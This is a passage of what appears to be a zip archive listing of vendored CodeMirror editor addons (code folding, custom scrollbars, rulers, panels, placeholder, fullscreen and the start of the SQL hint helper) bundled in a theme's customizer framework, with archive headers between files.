CodeMirror.registerHelper("fold", "brace", function(cm, start) {
  var line = start.line, lineText = cm.getLine(line);
  var startCh, tokenType;

  function findOpening(openCh) {
    for (var at = start.ch, pass = 0;;) {
      var found = at <= 0 ? -1 : lineText.lastIndexOf(openCh, at - 1);
      if (found == -1) {
        if (pass == 1) break;
        pass = 1;
        at = lineText.length;
        continue;
      }
      if (pass == 1 && found < start.ch) break;
      tokenType = cm.getTokenTypeAt(CodeMirror.Pos(line, found + 1));
      if (!/^(comment|string)/.test(tokenType)) return found + 1;
      at = found - 1;
    }
  }

  var startToken = "{", endToken = "}", startCh = findOpening("{");
  if (startCh == null) {
    startToken = "[", endToken = "]";
    startCh = findOpening("[");
  }

  if (startCh == null) return;
  var count = 1, lastLine = cm.lastLine(), end, endCh;
  outer: for (var i = line; i <= lastLine; ++i) {
    var text = cm.getLine(i), pos = i == line ? startCh : 0;
    for (;;) {
      var nextOpen = text.indexOf(startToken, pos), nextClose = text.indexOf(endToken, pos);
      if (nextOpen < 0) nextOpen = text.length;
      if (nextClose < 0) nextClose = text.length;
      pos = Math.min(nextOpen, nextClose);
      if (pos == text.length) break;
      if (cm.getTokenTypeAt(CodeMirror.Pos(i, pos + 1)) == tokenType) {
        if (pos == nextOpen) ++count;
        else if (!--count) { end = i; endCh = pos; break outer; }
      }
      ++pos;
    }
  }
  if (end == null || line == end && endCh == startCh) return;
  return {from: CodeMirror.Pos(line, startCh),
          to: CodeMirror.Pos(end, endCh)};
});

CodeMirror.registerHelper("fold", "import", function(cm, start) {
  function hasImport(line) {
    if (line < cm.firstLine() || line > cm.lastLine()) return null;
    var start = cm.getTokenAt(CodeMirror.Pos(line, 1));
    if (!/\S/.test(start.string)) start = cm.getTokenAt(CodeMirror.Pos(line, start.end + 1));
    if (start.type != "keyword" || start.string != "import") return null;
    // Now find closing semicolon, return its position
    for (var i = line, e = Math.min(cm.lastLine(), line + 10); i <= e; ++i) {
      var text = cm.getLine(i), semi = text.indexOf(";");
      if (semi != -1) return {startCh: start.end, end: CodeMirror.Pos(i, semi)};
    }
  }

  var start = start.line, has = hasImport(start), prev;
  if (!has || hasImport(start - 1) || ((prev = hasImport(start - 2)) && prev.end.line == start - 1))
    return null;
  for (var end = has.end;;) {
    var next = hasImport(end.line + 1);
    if (next == null) break;
    end = next.end;
  }
  return {from: cm.clipPos(CodeMirror.Pos(start, has.startCh + 1)), to: end};
});

CodeMirror.registerHelper("fold", "include", function(cm, start) {
  function hasInclude(line) {
    if (line < cm.firstLine() || line > cm.lastLine()) return null;
    var start = cm.getTokenAt(CodeMirror.Pos(line, 1));
    if (!/\S/.test(start.string)) start = cm.getTokenAt(CodeMirror.Pos(line, start.end + 1));
    if (start.type == "meta" && start.string.slice(0, 8) == "#include") return start.start + 8;
  }

  var start = start.line, has = hasInclude(start);
  if (has == null || hasInclude(start - 1) != null) return null;
  for (var end = start;;) {
    var next = hasInclude(end + 1);
    if (next == null) break;
    ++end;
  }
  return {from: CodeMirror.Pos(start, has + 1),
          to: cm.clipPos(CodeMirror.Pos(end))};
});

});
PK     N\9D    U  inc/customizer/framework/assets/js/vendor/codemirror/addon/scroll/simplescrollbars.jsnu [        // CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: http://codemirror.net/LICENSE

(function(mod) {
  if (typeof exports == "object" && typeof module == "object") // CommonJS
    mod(require("../../lib/codemirror"));
  else if (typeof define == "function" && define.amd) // AMD
    define(["../../lib/codemirror"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
  "use strict";

  function Bar(cls, orientation, scroll) {
    this.orientation = orientation;
    this.scroll = scroll;
    this.screen = this.total = this.size = 1;
    this.pos = 0;

    this.node = document.createElement("div");
    this.node.className = cls + "-" + orientation;
    this.inner = this.node.appendChild(document.createElement("div"));

    var self = this;
    CodeMirror.on(this.inner, "mousedown", function(e) {
      if (e.which != 1) return;
      CodeMirror.e_preventDefault(e);
      var axis = self.orientation == "horizontal" ? "pageX" : "pageY";
      var start = e[axis], startpos = self.pos;
      function done() {
        CodeMirror.off(document, "mousemove", move);
        CodeMirror.off(document, "mouseup", done);
      }
      function move(e) {
        if (e.which != 1) return done();
        self.moveTo(startpos + (e[axis] - start) * (self.total / self.size));
      }
      CodeMirror.on(document, "mousemove", move);
      CodeMirror.on(document, "mouseup", done);
    });

    CodeMirror.on(this.node, "click", function(e) {
      CodeMirror.e_preventDefault(e);
      var innerBox = self.inner.getBoundingClientRect(), where;
      if (self.orientation == "horizontal")
        where = e.clientX < innerBox.left ? -1 : e.clientX > innerBox.right ? 1 : 0;
      else
        where = e.clientY < innerBox.top ? -1 : e.clientY > innerBox.bottom ? 1 : 0;
      self.moveTo(self.pos + where * self.screen);
    });

    function onWheel(e) {
      var moved = CodeMirror.wheelEventPixels(e)[self.orientation == "horizontal" ? "x" : "y"];
      var oldPos = self.pos;
      self.moveTo(self.pos + moved);
      if (self.pos != oldPos) CodeMirror.e_preventDefault(e);
    }
    CodeMirror.on(this.node, "mousewheel", onWheel);
    CodeMirror.on(this.node, "DOMMouseScroll", onWheel);
  }

  Bar.prototype.moveTo = function(pos, update) {
    if (pos < 0) pos = 0;
    if (pos > this.total - this.screen) pos = this.total - this.screen;
    if (pos == this.pos) return;
    this.pos = pos;
    this.inner.style[this.orientation == "horizontal" ? "left" : "top"] =
      (pos * (this.size / this.total)) + "px";
    if (update !== false) this.scroll(pos, this.orientation);
  };

  var minButtonSize = 10;

  Bar.prototype.update = function(scrollSize, clientSize, barSize) {
    this.screen = clientSize;
    this.total = scrollSize;
    this.size = barSize;

    var buttonSize = this.screen * (this.size / this.total);
    if (buttonSize < minButtonSize) {
      this.size -= minButtonSize - buttonSize;
      buttonSize = minButtonSize;
    }
    this.inner.style[this.orientation == "horizontal" ? "width" : "height"] =
      buttonSize + "px";
    this.inner.style[this.orientation == "horizontal" ? "left" : "top"] =
      this.pos * (this.size / this.total) + "px";
  };

  function SimpleScrollbars(cls, place, scroll) {
    this.addClass = cls;
    this.horiz = new Bar(cls, "horizontal", scroll);
    place(this.horiz.node);
    this.vert = new Bar(cls, "vertical", scroll);
    place(this.vert.node);
    this.width = null;
  }

  SimpleScrollbars.prototype.update = function(measure) {
    if (this.width == null) {
      var style = window.getComputedStyle ? window.getComputedStyle(this.horiz.node) : this.horiz.node.currentStyle;
      if (style) this.width = parseInt(style.height);
    }
    var width = this.width || 0;

    var needsH = measure.scrollWidth > measure.clientWidth + 1;
    var needsV = measure.scrollHeight > measure.clientHeight + 1;
    this.vert.node.style.display = needsV ? "block" : "none";
    this.horiz.node.style.display = needsH ? "block" : "none";

    if (needsV) {
      this.vert.update(measure.scrollHeight, measure.clientHeight,
                       measure.viewHeight - (needsH ? width : 0));
      this.vert.node.style.display = "block";
      this.vert.node.style.bottom = needsH ? width + "px" : "0";
    }
    if (needsH) {
      this.horiz.update(measure.scrollWidth, measure.clientWidth,
                        measure.viewWidth - (needsV ? width : 0) - measure.barLeft);
      this.horiz.node.style.right = needsV ? width + "px" : "0";
      this.horiz.node.style.left = measure.barLeft + "px";
    }

    return {right: needsV ? width : 0, bottom: needsH ? width : 0};
  };

  SimpleScrollbars.prototype.setScrollTop = function(pos) {
    this.vert.moveTo(pos, false);
  };

  SimpleScrollbars.prototype.setScrollLeft = function(pos) {
    this.horiz.moveTo(pos, false);
  };

  SimpleScrollbars.prototype.clear = function() {
    var parent = this.horiz.node.parentNode;
    parent.removeChild(this.horiz.node);
    parent.removeChild(this.vert.node);
  };

  CodeMirror.scrollbarModel.simple = function(place, scroll) {
    return new SimpleScrollbars("CodeMirror-simplescroll", place, scroll);
  };
  CodeMirror.scrollbarModel.overlay = function(place, scroll) {
    return new SimpleScrollbars("CodeMirror-overlayscroll", place, scroll);
  };
});
PK     N\T~C  C  V  inc/customizer/framework/assets/js/vendor/codemirror/addon/scroll/simplescrollbars.cssnu [        .CodeMirror-simplescroll-horizontal div, .CodeMirror-simplescroll-vertical div {
  position: absolute;
  background: #ccc;
  -moz-box-sizing: border-box;
  box-sizing: border-box;
  border: 1px solid #bbb;
  border-radius: 2px;
}

.CodeMirror-simplescroll-horizontal, .CodeMirror-simplescroll-vertical {
  position: absolute;
  z-index: 6;
  background: #eee;
}

.CodeMirror-simplescroll-horizontal {
  bottom: 0; left: 0;
  height: 8px;
}
.CodeMirror-simplescroll-horizontal div {
  bottom: 0;
  height: 100%;
}

.CodeMirror-simplescroll-vertical {
  right: 0; top: 0;
  width: 8px;
}
.CodeMirror-simplescroll-vertical div {
  right: 0;
  width: 100%;
}


.CodeMirror-overlayscroll .CodeMirror-scrollbar-filler, .CodeMirror-overlayscroll .CodeMirror-gutter-filler {
  display: none;
}

.CodeMirror-overlayscroll-horizontal div, .CodeMirror-overlayscroll-vertical div {
  position: absolute;
  background: #bcd;
  border-radius: 3px;
}

.CodeMirror-overlayscroll-horizontal, .CodeMirror-overlayscroll-vertical {
  position: absolute;
  z-index: 6;
}

.CodeMirror-overlayscroll-horizontal {
  bottom: 0; left: 0;
  height: 6px;
}
.CodeMirror-overlayscroll-horizontal div {
  bottom: 0;
  height: 100%;
}

.CodeMirror-overlayscroll-vertical {
  right: 0; top: 0;
  width: 6px;
}
.CodeMirror-overlayscroll-vertical div {
  right: 0;
  width: 100%;
}
PK     N\^K  K  V  inc/customizer/framework/assets/js/vendor/codemirror/addon/scroll/annotatescrollbar.jsnu [        // CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: http://codemirror.net/LICENSE

(function(mod) {
  if (typeof exports == "object" && typeof module == "object") // CommonJS
    mod(require("../../lib/codemirror"));
  else if (typeof define == "function" && define.amd) // AMD
    define(["../../lib/codemirror"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
  "use strict";

  CodeMirror.defineExtension("annotateScrollbar", function(options) {
    if (typeof options == "string") options = {className: options};
    return new Annotation(this, options);
  });

  CodeMirror.defineOption("scrollButtonHeight", 0);

  function Annotation(cm, options) {
    this.cm = cm;
    this.options = options;
    this.buttonHeight = options.scrollButtonHeight || cm.getOption("scrollButtonHeight");
    this.annotations = [];
    this.doRedraw = this.doUpdate = null;
    this.div = cm.getWrapperElement().appendChild(document.createElement("div"));
    this.div.style.cssText = "position: absolute; right: 0; top: 0; z-index: 7; pointer-events: none";
    this.computeScale();

    function scheduleRedraw(delay) {
      clearTimeout(self.doRedraw);
      self.doRedraw = setTimeout(function() { self.redraw(); }, delay);
    }

    var self = this;
    cm.on("refresh", this.resizeHandler = function() {
      clearTimeout(self.doUpdate);
      self.doUpdate = setTimeout(function() {
        if (self.computeScale()) scheduleRedraw(20);
      }, 100);
    });
    cm.on("markerAdded", this.resizeHandler);
    cm.on("markerCleared", this.resizeHandler);
    if (options.listenForChanges !== false)
      cm.on("change", this.changeHandler = function() {
        scheduleRedraw(250);
      });
  }

  Annotation.prototype.computeScale = function() {
    var cm = this.cm;
    var hScale = (cm.getWrapperElement().clientHeight - cm.display.barHeight - this.buttonHeight * 2) /
      cm.getScrollerElement().scrollHeight
    if (hScale != this.hScale) {
      this.hScale = hScale;
      return true;
    }
  };

  Annotation.prototype.update = function(annotations) {
    this.annotations = annotations;
    this.redraw();
  };

  Annotation.prototype.redraw = function(compute) {
    if (compute !== false) this.computeScale();
    var cm = this.cm, hScale = this.hScale;

    var frag = document.createDocumentFragment(), anns = this.annotations;

    var wrapping = cm.getOption("lineWrapping");
    var singleLineH = wrapping && cm.defaultTextHeight() * 1.5;
    var curLine = null, curLineObj = null;
    function getY(pos, top) {
      if (curLine != pos.line) {
        curLine = pos.line;
        curLineObj = cm.getLineHandle(curLine);
      }
      if (wrapping && curLineObj.height > singleLineH)
        return cm.charCoords(pos, "local")[top ? "top" : "bottom"];
      var topY = cm.heightAtLine(curLineObj, "local");
      return topY + (top ? 0 : curLineObj.height);
    }

    if (cm.display.barWidth) for (var i = 0, nextTop; i < anns.length; i++) {
      var ann = anns[i];
      var top = nextTop || getY(ann.from, true) * hScale;
      var bottom = getY(ann.to, false) * hScale;
      while (i < anns.length - 1) {
        nextTop = getY(anns[i + 1].from, true) * hScale;
        if (nextTop > bottom + .9) break;
        ann = anns[++i];
        bottom = getY(ann.to, false) * hScale;
      }
      if (bottom == top) continue;
      var height = Math.max(bottom - top, 3);

      var elt = frag.appendChild(document.createElement("div"));
      elt.style.cssText = "position: absolute; right: 0px; width: " + Math.max(cm.display.barWidth - 1, 2) + "px; top: "
        + (top + this.buttonHeight) + "px; height: " + height + "px";
      elt.className = this.options.className;
    }
    this.div.textContent = "";
    this.div.appendChild(frag);
  };

  Annotation.prototype.clear = function() {
    this.cm.off("refresh", this.resizeHandler);
    this.cm.off("markerAdded", this.resizeHandler);
    this.cm.off("markerCleared", this.resizeHandler);
    if (this.changeHandler) this.cm.off("change", this.changeHandler);
    this.div.parentNode.removeChild(this.div);
  };
});
PK     N\-w    R  inc/customizer/framework/assets/js/vendor/codemirror/addon/scroll/scrollpastend.jsnu [        // CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: http://codemirror.net/LICENSE

(function(mod) {
  if (typeof exports == "object" && typeof module == "object") // CommonJS
    mod(require("../../lib/codemirror"));
  else if (typeof define == "function" && define.amd) // AMD
    define(["../../lib/codemirror"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
  "use strict";

  CodeMirror.defineOption("scrollPastEnd", false, function(cm, val, old) {
    if (old && old != CodeMirror.Init) {
      cm.off("change", onChange);
      cm.off("refresh", updateBottomMargin);
      cm.display.lineSpace.parentNode.style.paddingBottom = "";
      cm.state.scrollPastEndPadding = null;
    }
    if (val) {
      cm.on("change", onChange);
      cm.on("refresh", updateBottomMargin);
      updateBottomMargin(cm);
    }
  });

  function onChange(cm, change) {
    if (CodeMirror.changeEnd(change).line == cm.lastLine())
      updateBottomMargin(cm);
  }

  function updateBottomMargin(cm) {
    var padding = "";
    if (cm.lineCount() > 1) {
      var totalH = cm.display.scroller.clientHeight - 30,
          lastLineH = cm.getLineHandle(cm.lastLine()).height;
      padding = (totalH - lastLineH) + "px";
    }
    if (cm.state.scrollPastEndPadding != padding) {
      cm.state.scrollPastEndPadding = padding;
      cm.display.lineSpace.parentNode.style.paddingBottom = padding;
      cm.setSize();
    }
  }
});
PK     N\)(    Q  inc/customizer/framework/assets/js/vendor/codemirror/addon/display/autorefresh.jsnu [        // CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: http://codemirror.net/LICENSE

(function(mod) {
  if (typeof exports == "object" && typeof module == "object") // CommonJS
    mod(require("../../lib/codemirror"))
  else if (typeof define == "function" && define.amd) // AMD
    define(["../../lib/codemirror"], mod)
  else // Plain browser env
    mod(CodeMirror)
})(function(CodeMirror) {
  "use strict"

  CodeMirror.defineOption("autoRefresh", false, function(cm, val) {
    if (cm.state.autoRefresh) {
      stopListening(cm, cm.state.autoRefresh)
      cm.state.autoRefresh = null
    }
    if (val && cm.display.wrapper.offsetHeight == 0)
      startListening(cm, cm.state.autoRefresh = {delay: val.delay || 250})
  })

  function startListening(cm, state) {
    function check() {
      if (cm.display.wrapper.offsetHeight) {
        stopListening(cm, state)
        if (cm.display.lastWrapHeight != cm.display.wrapper.clientHeight)
          cm.refresh()
      } else {
        state.timeout = setTimeout(check, state.delay)
      }
    }
    state.timeout = setTimeout(check, state.delay)
    state.hurry = function() {
      clearTimeout(state.timeout)
      state.timeout = setTimeout(check, 50)
    }
    CodeMirror.on(window, "mouseup", state.hurry)
    CodeMirror.on(window, "keyup", state.hurry)
  }

  function stopListening(_cm, state) {
    clearTimeout(state.timeout)
    CodeMirror.off(window, "mouseup", state.hurry)
    CodeMirror.off(window, "keyup", state.hurry)
  }
});
PK     N\eH*  *  L  inc/customizer/framework/assets/js/vendor/codemirror/addon/display/rulers.jsnu [        // CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: http://codemirror.net/LICENSE

(function(mod) {
  if (typeof exports == "object" && typeof module == "object") // CommonJS
    mod(require("../../lib/codemirror"));
  else if (typeof define == "function" && define.amd) // AMD
    define(["../../lib/codemirror"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
  "use strict";

  CodeMirror.defineOption("rulers", false, function(cm, val, old) {
    if (old && old != CodeMirror.Init) {
      clearRulers(cm);
      cm.off("refresh", refreshRulers);
    }
    if (val && val.length) {
      setRulers(cm);
      cm.on("refresh", refreshRulers);
    }
  });

  function clearRulers(cm) {
    for (var i = cm.display.lineSpace.childNodes.length - 1; i >= 0; i--) {
      var node = cm.display.lineSpace.childNodes[i];
      if (/(^|\s)CodeMirror-ruler($|\s)/.test(node.className))
        node.parentNode.removeChild(node);
    }
  }

  function setRulers(cm) {
    var val = cm.getOption("rulers");
    var cw = cm.defaultCharWidth();
    var left = cm.charCoords(CodeMirror.Pos(cm.firstLine(), 0), "div").left;
    var minH = cm.display.scroller.offsetHeight + 30;
    for (var i = 0; i < val.length; i++) {
      var elt = document.createElement("div");
      elt.className = "CodeMirror-ruler";
      var col, conf = val[i];
      if (typeof conf == "number") {
        col = conf;
      } else {
        col = conf.column;
        if (conf.className) elt.className += " " + conf.className;
        if (conf.color) elt.style.borderColor = conf.color;
        if (conf.lineStyle) elt.style.borderLeftStyle = conf.lineStyle;
        if (conf.width) elt.style.borderLeftWidth = conf.width;
      }
      elt.style.left = (left + col * cw) + "px";
      elt.style.top = "-50px";
      elt.style.bottom = "-20px";
      elt.style.minHeight = minH + "px";
      cm.display.lineSpace.insertBefore(elt, cm.display.cursorDiv);
    }
  }

  function refreshRulers(cm) {
    clearRulers(cm);
    setRulers(cm);
  }
});
PK     N\8    K  inc/customizer/framework/assets/js/vendor/codemirror/addon/display/panel.jsnu [        // CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: http://codemirror.net/LICENSE

(function(mod) {
  if (typeof exports == "object" && typeof module == "object") // CommonJS
    mod(require("../../lib/codemirror"));
  else if (typeof define == "function" && define.amd) // AMD
    define(["../../lib/codemirror"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
  CodeMirror.defineExtension("addPanel", function(node, options) {
    options = options || {};

    if (!this.state.panels) initPanels(this);

    var info = this.state.panels;
    var wrapper = info.wrapper;
    var cmWrapper = this.getWrapperElement();

    if (options.after instanceof Panel && !options.after.cleared) {
      wrapper.insertBefore(node, options.before.node.nextSibling);
    } else if (options.before instanceof Panel && !options.before.cleared) {
      wrapper.insertBefore(node, options.before.node);
    } else if (options.replace instanceof Panel && !options.replace.cleared) {
      wrapper.insertBefore(node, options.replace.node);
      options.replace.clear();
    } else if (options.position == "bottom") {
      wrapper.appendChild(node);
    } else if (options.position == "before-bottom") {
      wrapper.insertBefore(node, cmWrapper.nextSibling);
    } else if (options.position == "after-top") {
      wrapper.insertBefore(node, cmWrapper);
    } else {
      wrapper.insertBefore(node, wrapper.firstChild);
    }

    var height = (options && options.height) || node.offsetHeight;
    this._setSize(null, info.heightLeft -= height);
    info.panels++;
    return new Panel(this, node, options, height);
  });

  function Panel(cm, node, options, height) {
    this.cm = cm;
    this.node = node;
    this.options = options;
    this.height = height;
    this.cleared = false;
  }

  Panel.prototype.clear = function() {
    if (this.cleared) return;
    this.cleared = true;
    var info = this.cm.state.panels;
    this.cm._setSize(null, info.heightLeft += this.height);
    info.wrapper.removeChild(this.node);
    if (--info.panels == 0) removePanels(this.cm);
  };

  Panel.prototype.changed = function(height) {
    var newHeight = height == null ? this.node.offsetHeight : height;
    var info = this.cm.state.panels;
    this.cm._setSize(null, info.height += (newHeight - this.height));
    this.height = newHeight;
  };

  function initPanels(cm) {
    var wrap = cm.getWrapperElement();
    var style = window.getComputedStyle ? window.getComputedStyle(wrap) : wrap.currentStyle;
    var height = parseInt(style.height);
    var info = cm.state.panels = {
      setHeight: wrap.style.height,
      heightLeft: height,
      panels: 0,
      wrapper: document.createElement("div")
    };
    wrap.parentNode.insertBefore(info.wrapper, wrap);
    var hasFocus = cm.hasFocus();
    info.wrapper.appendChild(wrap);
    if (hasFocus) cm.focus();

    cm._setSize = cm.setSize;
    if (height != null) cm.setSize = function(width, newHeight) {
      if (newHeight == null) return this._setSize(width, newHeight);
      info.setHeight = newHeight;
      if (typeof newHeight != "number") {
        var px = /^(\d+\.?\d*)px$/.exec(newHeight);
        if (px) {
          newHeight = Number(px[1]);
        } else {
          info.wrapper.style.height = newHeight;
          newHeight = info.wrapper.offsetHeight;
          info.wrapper.style.height = "";
        }
      }
      cm._setSize(width, info.heightLeft += (newHeight - height));
      height = newHeight;
    };
  }

  function removePanels(cm) {
    var info = cm.state.panels;
    cm.state.panels = null;

    var wrap = cm.getWrapperElement();
    info.wrapper.parentNode.replaceChild(wrap, info.wrapper);
    wrap.style.height = info.setHeight;
    cm.setSize = cm._setSize;
    cm.setSize();
  }
});
PK     N\z{t   t   Q  inc/customizer/framework/assets/js/vendor/codemirror/addon/display/fullscreen.cssnu [        .CodeMirror-fullscreen {
  position: fixed;
  top: 0; left: 0; right: 0; bottom: 0;
  height: auto;
  z-index: 9;
}
PK     N\H    Q  inc/customizer/framework/assets/js/vendor/codemirror/addon/display/placeholder.jsnu [        // CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: http://codemirror.net/LICENSE

(function(mod) {
  if (typeof exports == "object" && typeof module == "object") // CommonJS
    mod(require("../../lib/codemirror"));
  else if (typeof define == "function" && define.amd) // AMD
    define(["../../lib/codemirror"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
  CodeMirror.defineOption("placeholder", "", function(cm, val, old) {
    var prev = old && old != CodeMirror.Init;
    if (val && !prev) {
      cm.on("blur", onBlur);
      cm.on("change", onChange);
      onChange(cm);
    } else if (!val && prev) {
      cm.off("blur", onBlur);
      cm.off("change", onChange);
      clearPlaceholder(cm);
      var wrapper = cm.getWrapperElement();
      wrapper.className = wrapper.className.replace(" CodeMirror-empty", "");
    }

    if (val && !cm.hasFocus()) onBlur(cm);
  });

  function clearPlaceholder(cm) {
    if (cm.state.placeholder) {
      cm.state.placeholder.parentNode.removeChild(cm.state.placeholder);
      cm.state.placeholder = null;
    }
  }
  function setPlaceholder(cm) {
    clearPlaceholder(cm);
    var elt = cm.state.placeholder = document.createElement("pre");
    elt.style.cssText = "height: 0; overflow: visible";
    elt.className = "CodeMirror-placeholder";
    var placeHolder = cm.getOption("placeholder")
    if (typeof placeHolder == "string") placeHolder = document.createTextNode(placeHolder)
    elt.appendChild(placeHolder)
    cm.display.lineSpace.insertBefore(elt, cm.display.lineSpace.firstChild);
  }

  function onBlur(cm) {
    if (isEmpty(cm)) setPlaceholder(cm);
  }
  function onChange(cm) {
    var wrapper = cm.getWrapperElement(), empty = isEmpty(cm);
    wrapper.className = wrapper.className.replace(" CodeMirror-empty", "") + (empty ? " CodeMirror-empty" : "");

    if (empty) setPlaceholder(cm);
    else clearPlaceholder(cm);
  }

  function isEmpty(cm) {
    return (cm.lineCount() === 1) && (cm.getLine(0) === "");
  }
});
PK     N\=3    P  inc/customizer/framework/assets/js/vendor/codemirror/addon/display/fullscreen.jsnu [        // CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: http://codemirror.net/LICENSE

(function(mod) {
  if (typeof exports == "object" && typeof module == "object") // CommonJS
    mod(require("../../lib/codemirror"));
  else if (typeof define == "function" && define.amd) // AMD
    define(["../../lib/codemirror"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
  "use strict";

  CodeMirror.defineOption("fullScreen", false, function(cm, val, old) {
    if (old == CodeMirror.Init) old = false;
    if (!old == !val) return;
    if (val) setFullscreen(cm);
    else setNormal(cm);
  });

  function setFullscreen(cm) {
    var wrap = cm.getWrapperElement();
    cm.state.fullScreenRestore = {scrollTop: window.pageYOffset, scrollLeft: window.pageXOffset,
                                  width: wrap.style.width, height: wrap.style.height};
    wrap.style.width = "";
    wrap.style.height = "auto";
    wrap.className += " CodeMirror-fullscreen";
    document.documentElement.style.overflow = "hidden";
    cm.refresh();
  }

  function setNormal(cm) {
    var wrap = cm.getWrapperElement();
    wrap.className = wrap.className.replace(/\s*CodeMirror-fullscreen\b/, "");
    document.documentElement.style.overflow = "";
    var info = cm.state.fullScreenRestore;
    wrap.style.width = info.width; wrap.style.height = info.height;
    window.scrollTo(info.scrollLeft, info.scrollTop);
    cm.refresh();
  }
});
PK     N\?
^  ^  K  inc/customizer/framework/assets/js/vendor/codemirror/addon/hint/sql-hint.jsnu [        // CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: http://codemirror.net/LICENSE

(function(mod) {
  if (typeof exports == "object" && typeof module == "object") // CommonJS
    mod(require("../../lib/codemirror"), require("../../mode/sql/sql"));
  else if (typeof define == "function" && define.amd) // AMD
    define(["../../lib/codemirror", "../../mode/sql/sql"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
  "use strict";

  var tables;
  var defaultTable;
  var keywords;
  var CONS = {
    QUERY_DIV: ";",
    ALIAS_KEYWORD: "AS"
  };
  var Pos = CodeMirror.Pos;

  function getKeywords(editor) {
    var mode = editor.doc.modeOption;
    if (mode === "sql") mode = "text/x-sql";
    return CodeMirror.resolveMode(mode).keywords;
  }

  function getText(item) {
    return typeof item == "string" ? item : item.text;
  }

  function getItem(list, item) {
    if (!list.slice) return list[item];
    for (var i = list.length - 1; i >= 0; i--) if (getText(list[i]) == item)
      return list[i];
  }

  function shallowClone(object) {
    var result = {};
    for (var key in object) if (object.hasOwnProperty(key))
      result[key] = object[key];
    return result;
  }

  function match(string, word) {
    var len = string.length;
    var sub = getText(word).substr(0, len);
    return string.toUpperCase() === sub.toUpperCase();
  }

  function addMatches(result, search, wordlist, formatter) {
    for (var word in wordlist) {
      if (!wordlist.hasOwnProperty(word)) continue;
      if (wordlist.slice) word = wordlist[word];

      if (match(search, word)) result.push(formatter(word));
    }
  }

  function cleanName(name) {
    // Get rid name from backticks(`) and preceding dot(.)
    if (name.charAt(0) == ".") {
      name = name.substr(1);
    }
    return name.replace(/`/g, "");
  }

  function insertBackticks(name) {
    var nameParts = getText(name).split(".");
    for (var i = 0; i < nameParts.length; i++)
      nameParts[i] = "`" + nameParts[i] + "`";
    var escaped = nameParts.join(".");
    if (typeof name == "string") return escaped;
    name = shallowClone(name);
    name.text = escaped;
    return name;
  }

  function nameCompletion(cur, token, result, editor) {
    // Try to complete table, colunm names and return start position of completion
    var useBacktick = false;
    var nameParts = [];
    var start = token.start;
    var cont = true;
    while (cont) {
      cont = (token.string.charAt(0) == ".");
      useBacktick = useBacktick || (token.string.charAt(0) == "`");

      start = token.start;
      nameParts.unshift(cleanName(token.string));

      token = editor.getTokenAt(Pos(cur.line, token.start));
      if (token.string == ".") {
        cont = true;
        token = editor.getTokenAt(Pos(cur.line, token.start));
      }
    }

    // Try to complete table names
    var string = nameParts.join(".");
    addMatches(result, string, tables, function(w) {
      return useBacktick ? insertBackticks(w) : w;
    });

    // Try to complete columns from defaultTable
    addMatches(result, string, defaultTable, function(w) {
      return useBacktick ? insertBackticks(w) : w;
    });

    // Try to complete columns
    string = nameParts.pop();
    var table = nameParts.join(".");

    var alias = false;
    var aliasTable = table;
    // Check if table is available. If not, find table by Alias
    if (!getItem(tables, table)) {
      var oldTable = table;
      table = findTableByAlias(table, editor);
      if (table !== oldTable) alias = true;
    }

    var columns = getItem(tables, table);
    if (columns && columns.columns)
      columns = columns.columns;

    if (columns) {
      addMatches(result, string, columns, function(w) {
        var tableInsert = table;
        if (alias == true) tableInsert = aliasTable;
        if (typeof w == "string") {
          w = tableInsert + "." + w;
        } else {
          w = shallowClone(w);
          w.text = tableInsert + "." + w.text;
        }
        return useBacktick ? insertBackticks(w) : w;
      });
    }

    return start;
  }

  function eachWord(lineText, f) {
    if (!lineText) return;
    var excepted = /[,;]/g;
    var words = lineText.split(" ");
    for (var i = 0; i < words.length; i++) {
      f(words[i]?words[i].replace(excepted, '') : '');
    }
  }

  function convertCurToNumber(cur) {
    // max characters of a line is 999,999.
    return cur.line + cur.ch / Math.pow(10, 6);
  }

  function convertNumberToCur(num) {
    return Pos(Math.floor(num), +num.toString().split('.').pop());
  }

  function findTableByAlias(alias, editor) {
    var doc = editor.doc;
    var fullQuery = doc.getValue();
    var aliasUpperCase = alias.toUpperCase();
    var previousWord = "";
    var table = "";
    var separator = [];
    var validRange = {
      start: Pos(0, 0),
      end: Pos(editor.lastLine(), editor.getLineHandle(editor.lastLine()).length)
    };

    //add separator
    var indexOfSeparator = fullQuery.indexOf(CONS.QUERY_DIV);
    while(indexOfSeparator != -1) {
      separator.push(doc.posFromIndex(indexOfSeparator));
      indexOfSeparator = fullQuery.indexOf(CONS.QUERY_DIV, indexOfSeparator+1);
    }
    separator.unshift(Pos(0, 0));
    separator.push(Pos(editor.lastLine(), editor.getLineHandle(editor.lastLine()).text.length));

    //find valid range
    var prevItem = 0;
    var current = convertCurToNumber(editor.getCursor());
    for (var i=0; i< separator.length; i++) {
      var _v = convertCurToNumber(separator[i]);
      if (current > prevItem && current <= _v) {
        validRange = { start: convertNumberToCur(prevItem), end: convertNumberToCur(_v) };
        break;
      }
      prevItem = _v;
    }

    var query = doc.getRange(validRange.start, validRange.end, false);

    for (var i = 0; i < query.length; i++) {
      var lineText = query[i];
      eachWord(lineText, function(word) {
        var wordUpperCase = word.toUpperCase();
        if (wordUpperCase === aliasUpperCase && getItem(tables, previousWord))
          table = previousWord;
        if (wordUpperCase !== CONS.ALIAS_KEYWORD)
          previousWord = word;
      });
      if (table) break;
    }
    return table;
  }

  CodeMirror.registerHelper("hint", "sql", function(editor, options) {
